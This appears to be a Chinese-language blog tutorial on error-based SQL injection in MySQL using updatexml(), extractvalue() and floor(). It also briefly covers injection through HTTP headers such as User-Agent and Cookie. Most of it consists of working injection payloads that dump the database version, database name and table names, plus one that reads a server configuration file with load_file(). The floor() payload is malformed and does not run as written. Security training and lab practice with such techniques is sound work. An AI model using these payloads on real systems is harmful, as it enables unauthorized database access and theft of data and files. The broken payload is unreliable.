SQL注入—報錯函式
阿新 • • 發佈:2021-08-11
適用情況
Insert/update/delete型資料庫的處理,都是通過報錯函式進行資料注入回顯的,或者通過DNSlog注入來獲取資料。
如:註冊,修改,刪除等都屬於資料庫的上述三種操作,其中delete型需要在刪除選項處檢視網站URL,其餘兩種只需要在輸入資料處進行注入即可
常用報錯函式
1.updatexml():Mysql中對XML文件資料進行查詢和修改的XPATH函式,通過xml查詢過程中的返回的錯誤獲取報錯資訊
updatexml(xml_target, xpath, new_xml)
xml_target::需要操作的xml片段,為表中欄位名
xpath:需要更新的xml路徑(xpath格式的字串)
new_xml:更新後的內容
第二個引數xpath的定位必須是有效的,否則會發生錯誤。
如果Xpath傳入的是一個表示式,那麼會先把表示式執行一遍再進行報錯。
實際上第一個和第三個傳入的引數都是錯誤的,重點是第二個傳入的引數
2.extractvalue(): Mysql中對XML文件資料進行查詢的函式,通過xml查詢過程中的返回的錯誤獲取報錯資訊,並返回包含查詢值的字串
extravalue(xml_document,xpath_string)
構造XPATH定位的錯位
3.floor():Mysql中用來取整的函式,通過資料生成錯誤產生報錯資訊
基於函式報錯的資訊獲取
思路:在MySQL中使用一些指定的函式來製造報錯,從而從報錯資訊中獲取設定的資訊。select/insert/update/delete都可以使用報錯來獲取資訊。
前置條件:後臺沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸出在前端
具體操作
1.updatexml()
# 法一
admin' and updatexml(1,concat(0x7e,version()),0) #
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),0) #
此時出現報錯Subquery returns more than 1 row,新增限制
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
# 0x7e是~的十六進位制,用於顯示完整資訊,避免被吃掉,也可以在抓包中方便查詢的索引
# limit m n 表示從第m行開始,往前n位
之後可以通過修改limit的m值來檢視不同的類,其他操作以此類推,也可以通過Burp進行抓包,使用Intruder進行爆破,在limit的m值處新增爆破點,對列數進行聯絡爆破
# 解釋:admin' 與前面的單引號形成閉合,後面的註釋符註釋掉後面的單引號,由於admin是正確的語句,即已經進入資料庫內部並過濾後面的操作,所以updatexml()是正確執行,
只是第一個傳入引數和第三個傳入引數是錯誤的所以產生報錯資訊
# 法二
admin' or updatexml(1,concat(0x7e,version()),0) or'
# 解釋:這裡就是or的邏輯判斷,or的特點是一真即真,admin'與前面單引號形成閉合,後面的or的單引號與之後的資料形成閉合,而之後的資料必然正確,所以第二個or為真,
即整個語句為真,所以updatexml()正常執行,剩下的和法一一致
2.extractvalue()
kobe' and extractvalue(0,concat(0x7e,database())) #
kobe' or extractvalue(0,concat(0x7e,database())) or'
# 原理和updatexml()差不多,,只不過傳兩個引數,第一個引數錯誤,第二個引數正常
# 讀取檔案
kobe' and extractvalue(0,concat(0x7e,(select load_file("C:\phpStudy\PHPTutorial\MySQL\config.inc.php")),0x7e)) #
3.floor()
kobe' and (select 2 from (select count(*),concat version(),floor(rand(0)*2) xfrom information_schema.tables group by x )a)
#利用的邏輯差不多
補充
Http Header注入
有時候,後臺開發人員為了驗證客戶端頭資訊,比如常用的cookie驗證,或者通過http header頭資訊獲取客戶端的一些資訊,比如useragent,accept等會對http header資訊進行獲取並且使用SQL進行處理,
如果此時沒有足夠的安全考慮則會導致基於http header的SQL Inject漏洞。
Http header注入需要我們關注資料包與資料庫存在互動的地方,如果這種地方過濾比嚴格,閉合簡單,可以通過報錯函式注入出資料庫的資料
如:user-agent,cookie等等
總結
SQL注入的精髓在於他沒有原來回顯位,而你通過構造完成了閉合,繼而通過報錯函式的報錯資訊創造了回顯位,讓資料庫的資訊展現出來,只要閉合完成,那麼你的報錯函式正常執行,三種就都是一樣的結果